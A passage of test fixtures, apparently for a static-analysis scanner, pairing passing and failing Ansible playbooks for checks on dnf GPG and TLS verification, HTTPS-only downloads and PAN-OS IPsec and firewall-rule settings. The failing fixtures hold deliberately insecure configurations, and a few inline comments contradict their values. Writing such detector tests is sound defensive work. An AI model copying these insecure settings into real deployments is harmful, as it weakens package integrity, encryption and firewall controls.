nikto state: latest disable_gpg_check: TRUE ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_unused ansible.builtin.dnf: name: httpd state: latest - name: short_unused dnf: name: nikto state: latest - name: long_false ansible.builtin.dnf: name: nikto state: latest disable_gpg_check: false - name: short_false dnf: name: nikto state: latest disable_gpg_check: False - name: long_no ansible.builtin.dnf: name: disable_gpg_check state: latest disable_gpg_check: no - name: short_no dnf: name: disable_gpg_check state: latest disable_gpg_check: No - name: long_off ansible.builtin.dnf: name: disable_gpg_check state: latest disable_gpg_check: off - name: short_off dnf: name: disable_gpg_check state: latest disable_gpg_check: OFF ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfSslVerify/expected.yaml ================================================ pass: - "tasks.ansible.builtin.dnf.long_unused" - "tasks.dnf.short_unused" - "tasks.ansible.builtin.dnf.long_true" - "tasks.dnf.short_true" - "tasks.ansible.builtin.dnf.long_yes" - "tasks.dnf.short_yes" - "tasks.ansible.builtin.dnf.long_on" - "tasks.dnf.short_on" fail: - "tasks.ansible.builtin.dnf.long_false" - "tasks.dnf.short_false" - "tasks.ansible.builtin.dnf.long_no" - "tasks.dnf.short_no" - "tasks.ansible.builtin.dnf.long_NO" - "tasks.dnf.short_FALSE" evaluated_keys: - sslverify ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfSslVerify/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_false ansible.builtin.dnf: name: nikto state: latest sslverify: false - name: short_false dnf: name: nikto state: latest sslverify: false - name: long_no ansible.builtin.dnf: name: nikto state: latest sslverify: no - name: short_no dnf: name: nikto state: latest sslverify: No - name: long_NO ansible.builtin.dnf: name: nikto state: latest sslverify: NO - name: short_FALSE dnf: name: nikto state: latest sslverify: FALSE ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfSslVerify/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_unused ansible.builtin.dnf: name: httpd state: latest - name: short_unused dnf: name: nikto state: latest - name: long_true ansible.builtin.dnf: name: nikto state: latest sslverify: true - name: short_true dnf: name: nikto state: latest sslverify: True - name: long_yes ansible.builtin.dnf: name: sslverify state: latest sslverify: yes - name: short_yes dnf: name: sslverify state: latest sslverify: Yes - name: long_on ansible.builtin.dnf: name: sslverify state: latest sslverify: on - name: short_on dnf: name: sslverify state: latest sslverify: ON ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfValidateCerts/expected.yaml ================================================ pass: - "tasks.ansible.builtin.dnf.long_unused" - "tasks.dnf.short_unused" - "tasks.ansible.builtin.dnf.long_true" - "tasks.dnf.short_true" - "tasks.ansible.builtin.dnf.long_yes" - "tasks.dnf.short_yes" - "tasks.ansible.builtin.dnf.long_on" - "tasks.dnf.short_ON" fail: - "tasks.ansible.builtin.dnf.long_false" - "tasks.dnf.short_false" - "tasks.ansible.builtin.dnf.long_no" - "tasks.dnf.short_no" - "tasks.ansible.builtin.dnf.long_NO" - "tasks.dnf.short_FALSE" evaluated_keys: - validate_certs ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfValidateCerts/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_false ansible.builtin.dnf: name: nikto state: latest validate_certs: false - name: short_false dnf: name: nikto state: latest validate_certs: false - name: long_no ansible.builtin.dnf: name: nikto state: latest validate_certs: no - name: short_no dnf: name: nikto state: latest validate_certs: No - name: long_NO ansible.builtin.dnf: name: nikto state: latest validate_certs: NO - name: short_FALSE dnf: name: nikto state: latest validate_certs: FALSE ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfValidateCerts/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_unused ansible.builtin.dnf: name: httpd state: latest - name: short_unused dnf: name: nikto state: latest - name: long_true ansible.builtin.dnf: name: nikto state: latest validate_certs: true - name: short_true dnf: name: nikto state: latest validate_certs: True - name: long_yes ansible.builtin.dnf: name: validate_certs state: latest validate_certs: yes - name: short_yes dnf: name: validate_certs state: latest validate_certs: Yes - name: long_on ansible.builtin.dnf: name: validate_certs state: latest validate_certs: on - name: short_ON dnf: name: validate_certs state: latest validate_certs: ON ================================================ FILE: tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/expected.yaml ================================================ pass: - "tasks.ansible.builtin.get_url.https" - "tasks.get_url.unknown" # update test when variable rendering is supported fail: - "tasks.get_url.http" evaluated_keys: - "url" ================================================ FILE: tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: http get_url: url: http://example.com/path/file.conf dest: /etc/foo.conf force_basic_auth: yes ================================================ FILE: tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: https ansible.builtin.get_url: url: https://example.com/path/file.conf dest: /etc/foo.conf mode: '0440' ================================================ FILE: tests/ansible/checks/graph_checks/resources/GetUrlHttpsOnly/unknown.yaml ================================================ --- - name: Verify tests hosts: all vars: variable_url: https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar tasks: - name: unknown get_url: url: "{{ variable_url }}" dest: /etc/foo.conf force_basic_auth: yes ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_1" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_2" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_3" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_4" fail: - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_1" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_2" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_3" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_4" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_5" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_6" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_7" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_8" - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_9" evaluated_keys: - "esp_authentication" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: ipsec_fail_1 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['none'] # No authentication algorithm - name: ipsec_fail_2 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['md5'] # Unacceptable authentication algorithm - name: ipsec_fail_3 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha1'] # Unacceptable authentication algorithm - name: ipsec_fail_4 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: [''] # Empty authentication algorithm - name: ipsec_fail_5 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] # No authentication algorithm specified, default is 'sha1' which is unacceptable - name: ipsec_fail_6 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['md5', 'sha1'] # Multiple unacceptable authentication algorithms - name: ipsec_fail_7 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['md5', 'sha512'] # Annacceptable authentication algorithm within a list including an acceptable algorithm - name: ipsec_fail_8 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha512', 'md5'] # Annacceptable authentication algorithm within a list including an acceptable algorithm - name: ipsec_fail_9 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha512', 'md5', 'sha384'] # Annacceptable authentication algorithm within a list including an acceptable algorithm ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecAuthenticationAlgorithms/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: ipsec_pass_1 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha256'] # Acceptable authentication algorithm - name: ipsec_pass_2 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha384'] # Acceptable authentication algorithm - name: ipsec_pass_3 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha512'] # Acceptable authentication algorithm - name: ipsec_pass_4 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_encryption: ['aes-128-gcm'] esp_authentication: ['sha384', 'sha512'] # Multiple acceptable authentication algorithms ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_pass_1" fail: - "tasks.paloaltonetworks.panos.panos_ipsec_profile.ipsec_fail_1" evaluated_keys: - "ah_authentication" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: ipsec_fail_1 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' ah_authentication: 'sha1' # Unencrypted AH should not be used esp_encryption: 'aes-256-gcm' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosIPsecProtocols/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: ipsec_pass_1 paloaltonetworks.panos.panos_ipsec_profile: provider: '{{ provider }}' name: 'IPsec profile' esp_authentication: ['sha512'] esp_encryption: ['aes-256-gcm'] # Encrypted ESP, not unencrypted AH, should be used ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_1" - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_1" - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_2" evaluated_keys: - "http" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Interface_mgmt_profile_fail_1 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' http: true # http defined as true, which is a fail - name: Interface_mgmt_profile_fail_2 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true http: true # http defined as true, which is a fail ssh: true ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoHTTP/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Interface_mgmt_profile_pass_1 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true ssh: true # http not defined, defaults to false, which is a pass - name: Interface_mgmt_profile_pass_2 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true ssh: true http: false # http defined as false, which is a pass ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_1" - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_1" - "tasks.paloaltonetworks.panos.panos_management_profile.Interface_mgmt_profile_fail_2" evaluated_keys: - "telnet" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Interface_mgmt_profile_fail_1 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' telnet: true # telnet defined as true, which is a fail - name: Interface_mgmt_profile_fail_2 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true telnet: true # telnet defined as true, which is a fail ssh: true ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosInterfaceMgmtProfileNoTelnet/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Interface_mgmt_profile_pass_1 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true ssh: true # telnet not defined, defaults to false, which is a pass - name: Interface_mgmt_profile_pass_2 paloaltonetworks.panos.panos_management_profile: provider: '{{ provider }}' name: 'Test profile' ping: true ssh: true telnet: false # telnet defined as false, which is a pass ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" evaluated_keys: - "description" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] action: 'allow' log_setting: 'default' # No description provided - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] action: 'allow' description: '' # Description is empty log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyDescription/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" # Description provided action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" evaluated_keys: - "log_setting" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: '' # Log forwarding profile specified is empty - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' # Log forwarding profile not specified ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogForwarding/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' # Log forwarding profile is specified ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" evaluated_keys: - "log_start" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['inside'] destination_zone: ['outside'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_start: true # log_end specified as false which is a fail log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLogSessionStart/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['inside'] destination_zone: ['outside'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' # log_start not specified, default is true which is a pass - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['inside'] destination_zone: ['outside'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' log_start: false # log_start specified as true which is a pass ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" evaluated_keys: - "log_end" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_end: false # log_end specified as false which is a fail log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyLoggingEnabled/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' # log_end not specified, default is true which is a pass - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['10.10.10.1'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_end: true # log_end specified as true which is a pass log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4" evaluated_keys: - "application" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['any'] # Application is any service: ['service-https'] action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['Any'] # Application is any, with uppercase service: ['service-https'] action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: [''] # Application is empty service: ['serice-https'] action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] service: ['service-https'] action: 'allow' description: 'Good description goes here' log_setting: 'default' # No application provided, defaults to 'any' which is a fail ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] # Single application provided service: ['service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['web-browsing', 'ssl'] # Multiple applications provided service: ['service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" evaluated_keys: - "disable_server_response_inspection" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] disable_server_response_inspection: true action: 'allow' description: 'The description' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] disable_server_response_inspection: false action: 'allow' description: 'The description' log_setting: 'default' - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] action: 'allow' description: 'The description' log_setting: 'default' # No explicit disable_server_response_inspection parameter, therefore uses default: false, which passes the check ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4" evaluated_keys: - "service" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['any'] # Service is any action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['Any'] # Service is any, with uppercase action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: [''] # Service is empty action: 'allow' description: 'Good description goes here' log_setting: 'default' - name: Security_rule_fail_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] action: 'allow' description: 'Good description goes here' log_setting: 'default' # No service provided, defaults to 'any' which is a fail ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: 